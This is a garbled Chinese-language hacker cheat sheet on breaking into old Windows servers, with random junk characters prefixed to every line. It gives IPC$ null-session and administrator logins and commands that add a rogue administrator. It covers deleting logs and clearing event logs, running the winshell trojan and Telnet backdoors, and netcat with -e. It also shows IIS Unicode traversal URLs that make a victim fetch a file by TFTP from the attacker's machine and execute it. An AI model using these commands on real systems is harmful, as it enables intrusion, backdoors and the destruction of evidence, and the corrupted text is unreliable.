网管和黑客都必须知道的命令
6Cc7 ejt|u 常用的几条NET命令：
mp\%M
1< N:x0w+C a （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
~R.d PUr <o0~H （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
T?npQA07= \[#t<dD （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
kus}W J q*8lnk （查看远程主机时间） net time \\IP地址
{/}^D- (oaYF+T （定时启动某个程序） at \\IP地址 02:18 readme.exe
gyu6YD8L K]fpGo （查看共享） net view \\IP地址
3nFt1E
9.&m z}q （查看netbios工作组列表） nbtstat -A IP地址
c2<,|D| p=gX !4,9< （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
Hwu4:^OL| @-"R$H OT （这两条把自己增加到管理员组）： net user 用户名 密码 /add
9 y~ "|t w%xCTeK[ net localgroup Administrators 用户名 /add
s-?fUqA m 22wF>9 （断开连接） net use \\IP地址\ipc$ /delete
AyV rk
8G !wh&>3~ 扫尾：
# ia;-
3 #a,9B -X del C:\winnt\system32\logfiles\*.*
OW`STp! Gv~p del C:\winnt\ssytem32\config\*.evt
T PYDs+U <DZcra del C:\winnt\system32\dtclog\*.*
yA;W/I4 nvyB/ del C:\winnt\system32\*.log
8;n_TMb 6E^~n del C:\winnt\system32\*.txt
`w<J25 QUOKThY? del C:\winnt\*.txt
\dkOK`)b Gi7RMql6Q del C:\winnt\*.log
`# ^0cW QxpKX_@Q5 一、netsvc.exe
YYUe)j{T #Ufo)\x 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
213\ehhG< >Ko[Xb-8^_ netsvc /list \\IP地址
\ =nrt? 36$[ netsvc schedule \\IP地址 /query
o "" ~jc~ KCtX $ XGL netsvc \\IP地址 schedule /start
&; >4N"] .\)A@ua^ 二、OpenTelnet.exe
U5+vN[ K 9UD
@MA 远程启动主机的Telnet服务，并绑定端口到7878，例如：
Q`6i =mB; P(ZQDTbM
: OpenTelnet \\IP地址 用户名 密码 1 7878
(|u 31[ .
/m hu 然后就可以telnet到主机的7878端口，进入DOS方式下：
(3%t+aqq u$\a3 yi telnet IP地址 7878
-:`V< |~e?,[-2`r 三、winshell.exe
]P1YHw9 `9 [i79U 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
'uC59X4l !O)qYmK]| p Path （查看winshell主程序的路径信息）
>i~^TY-& ~F[L4y!sL b reBoot （重新启动机器）
][:rLs ZkWL_ H) d shutDown （关闭机器）
b^Cfhy^RTq OhwF )p= s Shell （执行后你就会看到可爱的“C:\>”）
O@&+} D> 5H
!y 46z x eXit （退出本次登录会话，此命令并不终止winshell的运行）
lLiQ ;@ 5D' bJ6PO CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
FPv" N'/ l(:kfR~AC 四、3389登陆器，GUI方式登录远程主机的
2\@ Z5m3B &/WAZs$2n 五、elsave.exe
_>_j\b @ 4UxRp6+ 事件日志清除工具
QLr9dnA [Z<Z;=t elsave -s \\IP地址 -l "application" -C
PK:2xN:= C L9yEy"V elsave -s \\IP地址 -l "system" -C
wN DbHR Iti0qnBN5 elsave -s \\IP地址 -l "security" -C
nhH;?D3 qX6D1X1_ 执行后成功清除应用程序日志，系统日志，安全日志
p'Bm8=AwD qL
5>o>J 六、hbulot.exe
(Hp' B))2 yyP-=Lhmo= 开启win2kserver和winxp的3389服务
HEY4$Lf(I dUL S^i@@ hbulot [/r]
&Lj@9\ Dh 8Y{s;U0n 使用/r表示安装完成后自动重起目标使设置生效。
|b .z*G a.kbov( 七、nc.exe(netcat.exe)
K+d2m9C = }[!92WS/ee 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
}iww:H-1 j]5WK_~M 想要连接到某处: nc [-options] hostname port[s] [ports] ...
;Yts\4BSM T *>` ,}J 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
j^SZnMQf sqO< J$tz 参数:
YT-=;uK^S 2F+gF~znQ -e prog 程序重定向，一旦连接，就执行 [危险!!]
p*qPcuAA \8v91g91f -g gateway source-routing hop point[s], up to 8
Pq p * \caH pof -G num source-routing pointer: 4, 8, 12, ...
*@S@x{{s [kB
` -h 帮助信息
x]4Kkpqm Fx W&8 9G -i secs 延时的间隔
wWjG
JvJ B6M+mx"G -l 监听模式，用于入站连接
o( G"k yfj(Q s -n 指定数字的IP地址，不能用hostname
$:bih4 @> M {a
# -o file 记录16进制的传输
6 "gj!/e +l 0g`: -p port 本地端口号
m#5_%3T /b[2lTC -e -r 任意指定本地及远程端口
"Ij I'c Af-UScD%G -s addr 本地源地址
E`;;&V q- I9
64 -u UDP模式
N|Cs=-+ q9*MNHg } -v 详细输出——用两个-v可得到更详细的内容
U~f4e7x*O pV\YG B+ -w secs timeout的时间
4,P b g| YZwaD b -z 将输入输出关掉——用于扫描时
/@oLe[Mz$ 八、TFTPD32.EXE
#bnb ': f % V_-%/3Z 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
ZCui Fm VG@};dwbz* http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
Lc2QXeo8 v zo4g,Bj 然后可以直接令文件运行：
- * ELLY[ eEw. 'B http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
dJuD|9R J./ d!an 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
MXp3g@Cz kBWrqZ6 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
Ud%s^A-qS ]ya; v ' 一、一 Xscan命令行运行参数说明：
/BA{O&Ro^ +OaUP*\Dd 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
U>qHn 'M Xq#Y*lKVD 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
YlK7;yrq( I[Ic$ta xscan -file <主机列表文件名> <检测项目> [其他选项]
E#%}ZY :<S<f% 其中<检测项目> 含义如下:
P
}7zE3V s|yVAt|= -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
#Z ,E><t Rd&9E -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
[:;# ]? Tbbz'b;{ -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
K >tf, %Q"(/jm? -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
q3e8# R)l c WAtju?L; -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
~W0(1#
i Y g|lq9gD [其他选项] 含义如下:
sp9W?IJ 6c
u_O# @eOc -v: 显示详细扫描进度
X$?3U! 48D?'lW % -p: 跳过Ping不通的主机
>7Jr^o#|_x EM j;2! -o: 跳过没有检测到开放端口的主机
Fzq41jiS "eAy^, -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
